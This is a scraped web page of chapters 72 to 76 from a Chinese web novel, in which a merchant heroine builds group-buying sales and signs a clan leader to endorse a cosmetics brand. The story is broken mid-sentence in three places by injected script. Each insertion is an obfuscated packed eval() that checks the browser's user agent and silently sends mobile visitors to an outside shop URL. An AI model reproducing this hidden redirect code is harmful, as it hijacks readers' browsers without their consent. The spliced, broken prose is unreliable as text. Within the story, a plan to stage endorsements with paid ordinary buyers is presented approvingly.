$(''.inform'').remove(); $(''#content'').append('' 各自道了歉，看报的继续看报，没买着的也把东西收一收，赶紧往最近的飞毛腿点位跑。 小哥这才重新骑上车，顺利脱身。 围观人看着，真是怎么看都移不开眼——太神奇了。 “谁想出来的呢你说，真真是实用又绝妙。” “这上面不写了嘛，神仙托梦，所以说，人还是要多做善事。” “这名字也起得妙啊，‘自行车’，自己骑就能行路的车子哈哈哈哈，这要是能搞一辆，以后我们都是有车的人了。” “一天到晚的净做白日梦，行啦，赶紧的卖东西好收摊了~” “嘻嘻~~” 这一天，一个名为“自行车”的神仙物件吹到了沧澜城的千家万户。 伴随着自行车普及开的，还有一份名为《见闻》的奇怪报纸。 有那没买的，一听这名字就忍不住嗤之以鼻：“这不就《奇闻》的仿版？一群傻子，还花3文钱去买，看看免费的《奇闻》不就好了嘛。” 话音一落就遭到周遭人齐齐的“嘘”声，紧接着被人抓过去科普，顺便一起研究《见闻》上面的那些“团购”。 这马上就要入秋了，北境的冬季来得早，说不准什么时候，霜雪落下来，满院子的菜色就冻死了没的菜吃，所以，他们也习惯了囤货过日子。 反正家里有地窖，人口多的，10斤白菜也就几天的量。 所以这《见闻》上面的三五十斤起购，小意思而已，随便找一户人家就能凑齐了。不过嘛，这上面琳琅满目的商品多，价格又实惠，看着看着就感觉这也想要，那也想要······既然如此，那就少不得多抓几户街坊邻居了······ 这一晚，一向吃过饭就三三两两拖把凳子聚到街头巷尾聊聊东家长西家短，或者分享下哪里招工，哪个主家做人厚道之类的沧澜人，不约而同被一个名为《见闻》的报纸硬控了一晚。 有那没跟上信息的，也被紧急灌了一耳朵。 大家先研究了一下这个“团购”，按照上面的指示选出了团长，然后团长又登记了各自想要的货品、分量，收了押金，反复确认无误，这才收起钱袋子，抱着三分激动三分期待，四分忐忑的心情回屋。 也有那没说尽兴的，拉着交好的人继续聊着《见闻》上的其他趣事，比如定安城新开了一个叫火锅的东西啦，据说吃得人灵魂都飘飘然如登仙界，还有他们城里谁谁谁家发生了什么离谱的事情啊等等。 这一天，莫林知和齐铭他们守在《见闻》一天，也忐忑了一天。 从早上到下工，就听到信息一遍遍传进来。 《见闻》卖了100份了······ 《见闻》卖了1000份了······ 《见闻》全部卖出了······ 听到“全部卖出”四个字时，不管是见过大风大浪的老人，还是刚进来没两天的新人，都放下了那点地域隔阂，击掌欢呼。 莫林知也松了口气。 但也仅仅是第一口气。 73. 卖货 《见闻》的销量固然重要，因为和后续的广告营销价值直接相关，可是，比起这部分，莫林知更关注飞毛腿这边的“团购”订单。 这种摒弃店铺，摒弃中间商的直接卖货形式是否能成功，决定了物联网的存在价值。 好在，第二天，第三天，飞毛腿那边的反响还不错，且一天比一天好。 产品在源头就已经检查过质量问题，所以送到各位“团长”手上时，基本都是无退货争议的。除此之外，有人在买过第一次之后，发现确实东西又好又实惠，又马不停蹄地定了更多。 回购率很高。 除了吃的，还有用的。比如棉花、布料、绣帕等等等等，甚至还有农人自己做的“竹蜻蜓”都卖的不错。 一种新的商业形态的出现必然会对原有的模式造成冲击。 首先受到影响的就是那些赶早集摆摊的农人。这部分人，也是最早被莫林知划入圈，要飞毛腿着重关注、引导的人。 她是要让北境的物态生态变得更灵活，充分发挥人的能动性，不是想逼死那些社会的底层人！ 跑腿本身也是穷苦人出身，尤其是乡镇的跑腿，基本都是附近农家的孩子，所以对上面的这一命令，他们是抱着感恩之心去执行的。但凡有空就往村里跑，拿着个喇叭和锣鼓，一圈又一圈地表示“高价收货”，什么都可以收，多少都可以收。 涉及到身家性命的消息总是传得最快的，不管是集市还是村里，每天都有人普及飞毛腿新出的这个什么“团购”买卖，这番紧锣密鼓之下，最开始的慌乱渐渐消失了，取而代之的是往来穿梭愈加勤快的跑腿小哥。 各种早集上，大清早卖果蔬肉蛋的人少了，但是那些小食摊位还在，甚至更多——有那早上得闲了不用赶集的，也开始琢磨自家特色手艺，出来赚个外快。 一切都在井然有序地迭代，一切都在悄无声息地变化着。 莫林知这些日子看着没什么正经事，每天带着萧凛和晚香出门瞎转悠，实则神经一直紧绷着。 她甚至还让萧凛大清早地租了辆马车，然后去周边乡村，一圈又一圈地转悠，视察飞毛腿，亲口问问那些乡亲：飞毛腿是否有每天上门收货，他们是更喜欢自己卖，还是交托给飞毛腿代售······ 有一次还不小心问到了一位跑腿小哥家里，双方刚好打了个照面，小哥不知道莫林知是“微服私访”，还以为她特地上门是有什么要交代，触不及防之下身份就暴露了，然后被热情的乡邻留下来吃饭。 但不管怎么样，经过这半个多月的调整，整个市场算是重新稳定下来了。 转完最后一个目标乡镇的莫林知也正式通知萧凛，明天可以不用租赁马车了。 萧凛恭谨应下，看着走在前面，一边揉肩一边抱怨“这份工作真不是人干的”“太累了”之类的女孩，眼中闪过一丝笑意。 他还在军中的时候，跟着王爷杀过很多人，包括一些商人。 商人嘛，都是“利”字为先。 为了赚钱，恨不得扒在百姓的身上不放手，连骨头缝的残渣都啃噬干净才行。早些年，还是世子的王爷就惩治过一批又一批哄抬物价，倒卖物资的商人。就连现在的陈家，也有一支被王爷杀绝了。 杀的人多了，这些要钱不要命的商人才终于开始懂得克制，懂得王爷的底限。 也是因为如此，百姓的日子才会蒸蒸日上。此后，卖儿卖女的少了，荒地一拢一拢被开垦出来，北境进入高速发展期。 对于莫林知的这些神鬼莫测的商业手段，他是完全不懂的。如果莫林知不说，不做，他也不会知道，飞毛腿的生意，究竟对市场，对百姓的生活有什么影响。 可是莫林知还是毫无避讳，将可能造成的动荡一条条写出来了，并且召集所有人一起讨论，集思广益，最后将所有想到的可能性印刷成册，一层层下发，要求所有飞毛腿牢记在心。 不止如此，她还亲身走访，半点不曾想懈怠。 毫不夸张地说，跟着莫林知跑了这些天，萧凛感觉现在自己都可以胜任跑腿这一职位了——不管是沧澜城里的跑腿，还是周边乡镇的跑腿。 真是神奇的人啊。 明明看着是高坐云端指点江山的神仙，竟然也会低头对那些蝼蚁一般的存在怀有悲悯之心。 这样十年甚至百年难得一现的人才，竟然也能被王爷寻得。那是不是说明······ 想到此，萧凛呼吸频率都加快了，眼睛漫上赤红。 他连忙止住思绪，平复心境。 萧凛那一瞬流露的野望，除了他自己，没有其他人知道。 莫林知在看到自己院门的那一刻，连日奔涉的疲乏也终于有了涤荡之地。她和萧凛告别，然后走进院子，洗漱、休息。 这第二口气终于可以松了，她得好好睡一觉。 然后以饱满的精神，迎接第三件事。 第三件事，是临时加进去的。 来沧澜之前，她带了1000份丽颜的小样套装，本想以此作为随刊赠品打开《见闻》的销路，现在么······她还是要送出去。 不过不是打开《见闻》的销路，而是打开飞毛腿“异地售货”的链路。 目前，《见闻》也好，飞毛腿也好，卖的都是沧澜城附近的东西，且多以农产品为主。从买家心理来说，这其实是有一层保障在的。 虽然也是先付定金再取货，可东西都是附近的嘛，到底怎么样，甚至货源行不行，找人打听也是能打听到的。 可‘丽颜’美妆产品就不一样了，千里之外的东西，到底好不好就全凭《见闻》一张嘴宣传，而且这东西还不便宜，真要去下定······那还是有点忐忑的。 可莫林知还是想赌一把。 前几天，她就已经飞鸽传书，让晚玉去找颜丽要她之前预定的那部分货物量。按照脚程，应该这几天就该到了。 截止目前《见闻》发行了2期，飞毛腿这边订单累积已超2000单，退货率仅不到5%。这是什么概念？在她来到禹朝之前，各大电商平台的退货率都已经高达百分之五六十了，能将退货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211229|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率控制在20%以下的都已经是凤毛麟角。 这5%，反映的是民众对《见闻》，对飞毛腿的信赖和满意度。 所以虽然是赌，但她觉得成功率还蛮高的。 沧澜分部第三期《见闻》，在莫林知的授意下，将“丽颜”的故事和产品作为了主推内容进行宣发。 还是按照之前的策略，以干货教程为主，占据那一版的三分之二。不过稍微扩充了对丽颜以及颜丽本人的故事介绍，并强调前1000人预付定金即可当场领走小样一套，若后续货品到了想退货也可以，小样不用退还。 ——这是一场人性的赌局。 毕竟现在的北境，经济水平还没高到人人都视金钱如粪土的地步。谁也不敢保证，领走小样的人是否抱着“有便宜不占白不占”的心思，今天付个定金，转头就来退款了。 只是······算是一次任性吧。 从来到这里之后，她遇到的大多数都是善良热情、脚踏实地的人。所以她想试试看，是否能以“诚信”换“诚信”。 失败的代价，也不过就是1000份小样而已。 基于前两期的成功，第三期《见闻》不用跑腿小哥在路上吆喝，大清早的就有人去飞毛腿点位排起了长队。 3文钱一份嘛，一手往盒子里丢钱，一手直接拿一份就好了，熟门熟路的，队伍流动很快。 只不过，今天拿到的人发现，最上面的内容，竟然不是货物的消息了，而是一个什么“桃花妆”的教程。 “怎么回事，你们这周不卖货啦？”心急的人拉住铺子里的小哥追问。 “卖的卖的。您往后翻，还有的。只不过这周首页的‘丽颜’产品有福利，很划算，所以负责人就把这个消息放最上面了。”小哥一边说一边翻到第二页指了指。 果然，还是熟悉的一格一格消息，排版工整。每一格的第一行都是加大加粗的产品名称，下面用细小的文字注明产品的品质，价格，起购分量等等。有些还有阶梯福利价。 只要看着这个排版，就好像走进了一家大型百货商铺，整齐排列的货架，琳琅满目的商品跃然眼前。 ——安心和满足感顿从心起。 刚才还满腹疑虑的人脸上立马舒展开了，道过谢离开。 这样的情况，时有发生，小哥少不得要多费电口舌。不过，这也说明他们飞毛腿之前做得成功，所以小哥半点不烦躁，始终带着笑容，一遍遍重复。 就是不知道，昨晚运输过来的这批样品，能被订出去多少了。 虽然昨天样品到的时候，上面的人着重交代过他们，这批样品不管能不能消耗出去，定金后续被退还多少，都不会影响到他们本来的绩效奖金。可大家都知道，这一次，关系到飞毛腿后续是只卖本地货品，还是可以扩充更多更大的货架——这个意义，就关系到每个人了。 谁都想生意好一点，再好一点，他们的奖金高一点，再高一点。 留守铺子的小哥一边收拾着各种订单信息和货物，打扫卫生，一边翘首以盼。 74. 对策 诚如莫林知所料，大家对丽颜的彩妆产品······还是心有顾忌。 沧澜本地有自己熟悉的品牌，且和定安城的格局还不太一样。 从城市历史来说，沧澜比定安要早很多年，且相对来说，是比定安城要安稳很多的。这个和两城的地域还有些关系。 沧澜更靠北，常年积雪不化，难以耕种，本土人大多靠山吃山靠水吃水，以打猎捕鱼为生。后来，老王爷发下重赏，谁能在沧澜附近种出粮食，刑犯可酌情减免罪罚，普通人则赏钱赏地免赋税，这才有了众人拿起耕作工具，开垦荒地，研究抗寒作物的事情，沧澜也才有了现今这样多样化的生态。 但总的来说，这里气候寒冷，难以生存。大家都只想好好生活，老王爷的政令让很多不出世的部族自动归顺了，而那些始终不肯归顺的，也不过就是偶有骚扰，很快就能打回去。 早些年，北境几大家族都是定居沧澜的。所以从商业生态来说，沧澜其实比定安更丰富。 就比如这胭脂水粉店，定安的头牌就悦容庄一家，然后就是丽颜，再往下就是些连名字都不怎么叫得出口的杂牌了。可沧澜就不一样，和悦容庄一个层次的，沧澜有3家，产品线丰富，占据了全城90%的业务，余下那些小打小闹的品牌瓜分剩下的10%。 一个外来的丽颜······单凭一份《见闻》，还不足以撬动这块蛋糕。 不过，骗样品的也是少数，发行了2天，下定的人不足百，退款的人有，才不过3个人。 “看来还是太自信了。”莫林知看着统计的数据，自嘲地开解自己，脑中飞快思考着对策。 样品已经在手，正品也在路上，让她就这么放弃，她做不到。 从目前的信息来看，丽颜对比本土那三家的优势是价格便宜，对比杂牌的优势是它的品牌名气大。但，这个名气是定安城的名气，不是沧澜城的名气。 ——怎么才能让沧澜的人也认可这个品牌度呢？ 找代言人。 莫林知脑子里不假思索地出现这个答案。 笔在纸上敲了敲，顺着这个思路，她继续思考，该用什么样的方法，让这个代言人的功效发挥到最大。 还有，代言人的选择，也需要圈定人选。 莫林知招来所有人，一一交代任务。 “齐铭，你带着你的两个组员去打听下，沧澜城各个行业，各个阶层比较具有代表性的人物。然后给我一个丽颜代言人的首选和备选方案，数量不限。” “何泽和陈诚，你们继续盯着第四期的内容，头版头条还是给我空出来。” “剩下策划部和创作部的，跟我来。” 将4人拉到会议室，莫林知开门见山地说了：“飞毛腿那边数据传来了，丽颜的销售不太理想，所以我想通过《见闻》做一些宣传和推广，你们有没有什么好的建议？” 4个人入职20来天，堪堪把《见闻》的运作流程上手，面对这突如其来的问题，一下子慌了神。 莫林知敲了敲桌子，神色和缓：“不用紧张，不会因为这个就辞退或者扣奖金什么的。只是后续你们必然会经常接到飞毛腿那边反馈的数据。什么卖得好，什么卖的不好。卖得好的要记录在案，明年这个时候可以着重宣传，卖的不好的也不是就直接放弃，而是要及时调整策略，再做尝试。” “你们好好回忆回忆自己见过的卖货方式，是否有什么可借鉴的？大胆点，畅所欲言。” 她脸上始终带着鼓励的笑，4人见状，心里安定很多。 策划部一人想了想，试探地开口：“我觉得是不是可以不用付定金，直接免费送一波，这样大家就拿得没有压力了，好用的话，自然会来回购的。” 不等莫林知开口，另一人已经先行反驳：“我觉得不可。现在付定寄送样品，不满意定金还能退还已经相当于半送了。如果再退让，大家只会觉得这个东西就是不好所以卖不出去，反而降低了产品的印象。” 莫林知点头表示了赞同，但前面说的也有道理，想了想，她将自己给飞毛腿第二阶段的规划提上日程：“如果，飞毛腿店铺里摆放了样品，没有任何门槛，进店就能直接免费试用再决定要不要购买，你们会去吗？” 几人互相看看，然后迟疑地点头：“会的，能先看看实物总是更放心些。” 莫林知心里有了底，把这个在日程上打了勾，然后继续往下。 “沧澜城中，有哪一位女性的一举一动，是受全城女性瞩目的吗？” 几人想了想，各自报出自己心中的答案： “燕双楼的花魁宋小小？” “陈家嫡系那位诗画双绝的二小姐吧？” “我投段家家主一票。” “我也是，段家家主。” 段家家主？ 想起那位气质独特，魅力天成的段家主，莫林知的眼神立马亮了。 要说她能引动全城，莫林知是绝对相信的——试问全禹朝，有谁不羡慕段家主这样，自己当家，号令全族，可以与男人在一个桌上掰手腕的女子？ 人的掌控欲是天生的。哪怕是女子，也不是到了近现代才突然觉醒，而是这样的欲望代代累积，到了近现代，随着环境的变化，意识汇聚到一起，不断壮大再壮大，才有了和社会抗衡的力量而已。 从掌一人命运到掌一家命运，甚至于掌天下命脉——这样的野心，不止男人有，女人也有。 尤其北境女子本就更独立些，想必，应该会更拥护段家家主才对。 在段家主的名字上重重画了个圈，她交代素材部，让他们着重去关注下这位段家主在民间的口碑——丽颜首位代言人，不能合作刚开始就塌房啊！ 敲定了关键因素，整个营销策划也就差不多OK了。莫林知抽出几张白纸，重头开始梳理： “如果这位段家主口碑没什么问题，明天我们就去找她谈‘代言人’合作事项。时间截止到她的婚期结束，差不多3个月，货品仅限丽颜的几条彩妆产品线。顺利的话，第四期的头版头条，就以‘段家主高调备婚第一弹，胭脂水粉竟选了一家无名小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211953|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卒？’这个话题来打，到时候重新扒一下丽颜的来头和背后故事，可以将定安城七夕节，老王妃出席的那场宴会也拿出来说一说。” “第一期发布后，后续每天都准备一张单页，不用打《见闻》的名头，就只说继段家主之后，还有哪些叫的上号的人也纷纷去了飞毛腿商铺试货，并且拎了好几份货品出门，着重刻画这些人出门的满意度，以及对产品效用的揣测，往神化里写。这部分单页到时候让萧凛雇佣城中的小乞儿分发。还有，内容往《奇闻》那里也投一份，问问他们愿不愿意收。” “第二期《见闻》就不用以丽颜为重点了。只着重提飞毛腿体验店升级，往后所有飞毛腿的货品都可在门店试用试吃。顺便列一下目前门店有的样品清单，然后突出丽颜的产品和限时福利价。” “整个流程差不多就这样，段家主以及后续单页上的那些名单，我和齐铭小组今明两天敲定好后给到创作部，你们可以先把相关内容构思一下，后续人名填进去就行。投给《奇闻》的内容出来了交给齐铭，让他们去谈。策划部这边注意盯紧飞毛腿那边的数据和街头巷尾的讨论度。有不好的风向及时反馈，手动引导。” “以上，你们对各自的事务还有什么疑虑吗？” 在座四人连连摇头，眼神亮得吓人：“没有。” “好，那就各自去准备吧。”莫林知摆摆手，“门给我带上。” “是！”四人响亮应了，不敢打扰，立马将这片空间留给她。只是出了门，心中的那股子激荡还久久无法平息。几人你看看我我看看你，发现大家都一样，不知触动了哪根神经，齐齐笑了出来。 “这个部署，简直太——”想了半天也想不到一个词表达自己的景仰之情，说话的人憋得脸都红了。 其余人立马露出“我懂”的表情。 同部门的人拍拍他的肩膀，互相勉励：“我们都好好学着，总有一天，可以跟上莫管事的步伐的。” “嗯！”被拍的人重重点头。 回到工位，他也没有着急忙慌地开始做事，而是拿出笔记本，先将莫林知刚才描述的方案整个默记了下来。然后结合自己的理解以及本土的经验，在很多地方做了些注释。 例如代言人和后续单页之间的流程，他就作了3点注明： 其一、代言人要选择具有号召力，且口碑较好的。合作期间，要持续关注代言人的形象口碑变化，不能与商铺品牌定位和产品有违背——品牌定位只是莫林知之前偶然提到过的一个词，被他举一反三地补充在了这里。 其二、可以放宽条件，选择一些能引起讨论度的人追随代言人的脚步，重复代言人的行为。不仅可以形成一波接一波的声势，同时还具有引导性作用。 其三、感觉后续也可以雇佣一些普通人继续追随购买，增加产品口碑的可信度 ——如果莫林知能看到这份注释，大概是要惊呼一声“天才”的。某红书博主投放的典型金字塔结构被他完美复刻出来了，他甚至还无师自通地补全了最后的那个基底——素人铺量。 75. 格局打开 莫林知丝毫不知自己的策略已经被下属拆解得七七八八了，否则，她大概会忍不住当场破格提拔吧。 在他们出去后，她将萧凛叫到了办公室，然后将自己早就准备好的图纸推到他面前： “最初在你们整顿飞毛腿的商铺时我就提过，门脸子一定要大，后面也要有足够容积的仓库。当时你们还问我为什么，现在我可以告诉你们了。” “飞毛腿的门店，不仅仅只是接待顾客上门填写寄送单这么简单，它还必须要承担一个功能——样品展示。” “你安排一下吧，让沧澜城的飞毛腿门店格局全部改一改，所有寄件配送货物的存放全部改到仓库区，门店换成商铺格局，按照生鲜、杂货、家纺、胭脂等类目区分，每天保持展柜上有至少5份样品供客人免费试用。后续观测营收增长和样品消耗之间的数据，没有问题就让下属县镇的飞毛腿一起改了。这个事情你也同步下齐铭那边，一起行动。” “顺便联系《见闻》总部，让他们依照丽颜的分销模式和分销合同，去跟其他合作客户谈一谈，OK的话可以运一批货到沧澜来。” “还有火锅店那边，让吴大掌柜带人研发火锅底料的外带样式，我回去之前要看到成品。” “最后问问其他人，有没有什么话要捎给家里人的，我们在这里预计还要再呆1个月。” 一条接一条的命令不假思索地从莫林知的嘴里说出，最后一个字吐出来后，她一下又一下敲着桌子，思忖着应该没有遗漏，然后对萧凛点点头：“就这些，你先安排吧，完事儿再来一趟，我有一份拜帖要送到段家主手上。” “是。” 看着他出门，莫林知捏了捏鼻梁骨，脸上淡定自若的面具如同老旧的墙皮一般片片剥落，露出底下刻骨的疲乏。 这趟出差，属实超乎想象的累。 先是想要优化跑腿们的工具，紧接着因为《奇闻》的事情加速赶路。后来《奇闻》虽然称不上威胁了，但也直接打乱了《见闻》的宣发，让她将计划提前。而很多事情，偏偏又是牵一发动全身的，仓促提前，饶是她也一直心里惴惴的，吊着心神不敢放松。 早知道，丽颜这个事儿就不该着急。 ——这样的念头一钻入脑海就被莫林知摒除，她睁开眼，嘴唇蠕动，一遍遍默念：“凡事皆有两面性，不悔过去，着眼当下。” 至少，目前恰逢段家主大婚，这个时机还是不错的。只要操作得当，不止丽颜的局面可以打开，那些看到了《见闻》营销手段和价值的人也会纷纷上门合作。 一举双赢！ 定了定心神，莫林知长出口气，开始斟酌这份拜帖。 ——真是风水轮流转啊，前些天是段家主理亏求全，今日就变成她有事相求了。此时此刻，莫林知只庆幸，自己虽然不喜欢社交，但生意场上至少做到了“和气生财”“凡事留一线”这两点准则。 下午，齐铭带着2名商务回来了，他们将整理好的名单以及相关的调查总结交给了莫林知。 莫林知首先看了下名单，上午他们4个提到的人都在里面。不过齐铭还是相对保守了，每个名单的一梯队只提了两个人，远远不够。 莫林知结合上午四人的建议以及这份调查总结，重新勾选了10个人，然后将名单交回给齐铭，说了下自己的宣发计划，最后安排接下来的工作：“段家主那边我去谈，剩下的交给你，需要什么跟萧凛跟我都可以提。要求不高，只需要她们近期在指定的时间走一趟飞毛腿，试用几款产品然后拎着早就准备好的产品出门就行。单次合作，费用你控制一下，必要的时候可以用《见闻》的宣发资源置换。明天下班前给一份名单出来。” “我知道了。”简简单单四个字，却透着满满的安全感，这是他们磨合了几个月的默契。 见莫林知没有其他要求了，齐铭带着人收拾收拾，立马又出门了——10个人，明天一天恐怕谈不完，而且，跟着莫林知久了，大家都习惯在截止时间前早早完成，这样心里有底一些。 看着齐铭一行的背影，莫林知打心底松了口气——任何形态的比拼到最后还是团队之间的比拼，而她很幸运的，在茫茫人海中挑到了执行力、学习力、磨合力都很出色的队友。 将手头的资料整理好，莫林知开始梳理明天的谈判筹码。 “凡是留一线”这一点不只是莫林知的准则，同样也是千千万万生意人的准则。 段家主没有为难她，爽快接了请帖，说这一天的时间都是她的。而莫林知上门时，发现在场的除了方家那位家主，还有一个更年轻的，和方家主有点相似的男人。 应该就是段家主的婚约者了。 还是阳光型小奶狗~~看着就觉得是个有生活情趣的人呢~~~ 莫林知寒暄了两句，然后看着两人，送上诚心诚意的祝福：“两位真是天作之合，羡煞旁人~” 嗯？ 段如意敏锐察觉最后一个词的深意，循声看去，没有错漏这位莫管事眼中的羡慕，一时之间心绪复杂，表情都有一瞬间没绷住。 这位莫管事喜欢这类型的？？？ 她不知道萧衍的情意吗？真·半点不知？ 将所有纷乱的想法深藏，段如意又是那个谈笑自如，明艳动人的大美人了：“莫管事，今日找我是有何事？” “哦对，今天冒昧拜访，是想请段家主担任我旗下一个合作品牌的代言人。”莫林知边说边将带来的产品亮出来，“这是定安城一家知名胭脂铺的产品，前几天本想利用《见闻》和飞毛腿在沧澜打开销量，说来见笑，结果不尽如人意。所以，我想和段家主谈一笔合作，借用您的影响力，号召力，为我这款产品打开销路。” “这款产品，太妃娘娘也曾赞誉有加，品质是绝对有保障的。且我对这次的合作也是抱着十分的诚意来的，这里是契约条款，若是段家主有意，不妨试用下产品，看看条件？” 段如意没动，手按在那一叠契约上，意味深长地问了个风马牛不相及的问题：“我以为，在上次聊过之后，你应该知道，你最不该来找的就是我。” 莫林知顿了一下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222111|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后看了看四周：“可否屏退其他人？” 段如意没为难，小幅度挥挥手，方家两位就下去了。莫林知也让萧凛和晚香去外面等。 等到室内都清空，她才笑了下：“我知道，段家主上次是想给我个下马威吧？不过，我觉得这只是一场误会，解开就好，不至于影响后续的合作。” “误会？”段如意强调，看着她，神色难辨。 相比之下，莫林知就坦然多了：“是，我听萧凛说了，您和王爷是旧相识，也是莫逆知己。只是，您可能误会了我和王爷的关系，我对您构不成威胁。” 段如意：“······” 她认真的看着对面这个女人，发现她这几次三番的茫然和撇清关系竟然不是伪装！意识到这一点，段如意差点没忍住笑出声——太可笑了，能让萧衍开口到她这里走后门求滋补产品的人，居然对萧衍半点男女之情都没有······ 且在她沉默的这段期间，对面人还在叭叭地澄清关系—— “我和王爷之间就是雇佣关系。我帮他筹措足够的军饷，事成之后他保我后半辈子衣食无忧。所以，若是段家主真的介意，反而应该与我合作，让我尽快达成契约不是吗？” 段如意的回应是向着与莫林知相对的方向侧过了头——可以理解为拒绝和排斥，也可能是里面帘子后面有什么。 莫林知顺着她的目光看去，什么都没发现，于是提了心，脑子里飞快想着，如果她还是不肯应允，下一步要怎么切入。 “笃”的一声，段如意将杯子放在桌上，眼含深意地看着她：“我可是听说，你们姐弟从到定安城开始就一直住在王府，王府上下也将你们当成一家人一般照顾。” 这一次，轮到莫林知沉默了。 过了会儿，她实话实说：“确实，不管是太妃娘娘还是王爷、二少爷，都对我们很好。但我以为，段家主应该很明白，选主家，选朋友和选丈夫，是完全不一样的。” 她这话说得属实冒昧，简直是往人心窝子上戳，就差明着说“你段如意最后不也没选王爷”么······ 什么部族只招赘不外嫁的的条令，说白了还是利益权衡。规矩是死的人是活的，真要喜欢，大可抛去这个家主之位，不要这个娘家去嫁了那个人。 可——放弃到手的权利去赌男人的心意，赌局的存续时间还是一辈子，谁敢？谁愿意？ 莫林知昂首看着她，后面那些话即便没有说出口，眼睛里已经表露无遗。 段如意看懂了，也笑了，笑得肆意张扬，隐约间还有一丝痛快。 “原来我部族之外，也有如此反叛之人。”段如意感慨中满是惊喜：“你若是男子，今日我的丈夫绝对非你不可！” 莫林知挑眉，加了一把火：“我不是男子也可以啊。都是娘胎生的，难道□□多了二两肉就格外不同了吗？段家主，格局打开，男人可以去母留子，你当然也可以去父留女。” “你挺不错的，哈哈哈哈哈哈，哈哈哈哈哈哈哈哈哈~”段如意拍桌叫好，笑得不可自抑。 76. 男人 莫林知说那话带了点粗俗，但是，在段如意这种大女人面前，开点黄腔的效果大概就和男人之间喝点酒说说“笑话”是一样的——两人之间的距离一下子就被拉近了。 甚至于，因为少有人敢这样和段如意说话，所以，这让两个人之间那种“倾盖如故”“惺惺相惜”的感觉更浓厚。 莫林知安静地喝着茶，等她笑够了，才继续开口，淡淡询问：“如何，段家主？我可以保证，跟我合作绝对不亏。第一期的效果出来之后，或许后面就有大把商家挥着钞票上门，求你‘代言’他们的产品，到时候，我可以免费帮你看看契约合同，出出主意。” 段如意笑得肚子疼，她一边揉着肚子，然后给自己也倒了杯水润润已经有些嘶哑的嗓子：“成，你直接安排吧。” “那就谢了~”莫林知毫不客气地打蛇随棍上，亲自伺候她笔墨，然后将合同翻到签名盖章处。看着她龙飞凤舞地签下名字并盖上私章，这才小心翼翼地收起，借着直接安排起工作来，“那就辛苦您，后天带着人去飞毛腿试用产品，声势尽量浩大点，引人注目一点。” 段如意随意应了一声，见她收拾东西一副准备告辞的样子，不满地敲了敲桌子：“喂，你刚那话不会是故意投我所好哄我开心呢吧？” 莫林知闻言，动作一停，看向她：“你觉得呢？” “我觉得······你应该是真心话。”段如意眼珠一转，有了新主意，“要不，等你和萧衍的契约完成了，你来我的部族生活？我们部族的男人可都知情知趣得很，白天能上山打虎，晚上能小意暖床，保准你喜欢~~” “能在床上学喵叫吗？” “哈？” “看样子不能。”莫林知拎起包，看着歪着眉毛一脸不解的段如意，面露遗憾，“段家主，你们部族的男人，可能还得好好培训下才行。先告辞啦，再见~” 段如意：“······” 她看着空荡荡的门口，好久之后，才不确定地开口：“她刚说的喵叫······不会是指猫吧？喵喵的话······奶猫？？？” 室内良久沉默，一个指节分明，男人尺寸的手突然从内室伸出，抓住帘子，一把掀开。 顶着友人戏谑的眼神，萧衍眼神都没变一下，跨步往外走：“我先走了，答应的药材记得早点送到军中。” “喂——你要不要外援啊，我可以提供私人培训的——”段如意大喊，见人背影停都不停一下，顿觉无趣地撇嘴，“真是，一个两个都这样，达成目的就甩手走人——还真是什么锅配什么盖。” 拿到了契约的莫林知带着萧凛和晚香直奔《见闻》，然后将进展同步到了两名主笔那边，并强调了下今天的安排：“段家主的这篇头版头条今天要出来，打开你们的想象力大胆写。到时候，段家主会配合你们的剧情安排进行演绎。包括后面的几篇单页也是，你们写好再让齐铭去和那几个短期代言人对接。记住，故事要贴合人物的人设，要有记忆点，如果没有记忆点那就弄点争议点出来。” 两名主笔本来就已经在构思这篇头版内容，被她这么一说，突然就感觉写好的都太平淡了，于是一边点头一边抽出一张新的白纸，先注明了“记忆点”“争议点”几个字。 确认关键信息都传递到位，莫林知这才去了会议室——因为分部她不会常来，所以没有给自己设立固定办公室，基本都是蹭的会议室，或者院子等地方。 下午，齐铭也带着部下一起回来了。他将厚厚一叠契约放在莫林知面前，神态轻松：“幸不辱命。” 莫林知竖了个大拇指，然后低头翻了翻，发现付出的成本比预期的要少很多。 “厉害，这沧澜城里的名角儿也都被你拿捏住了~” 齐铭笑了：“莫管事过奖。我不过是先挑了个软柿子而已。” 莫林知挑眉，表示愿闻其详。 齐铭就将自己的策略简单说了下： 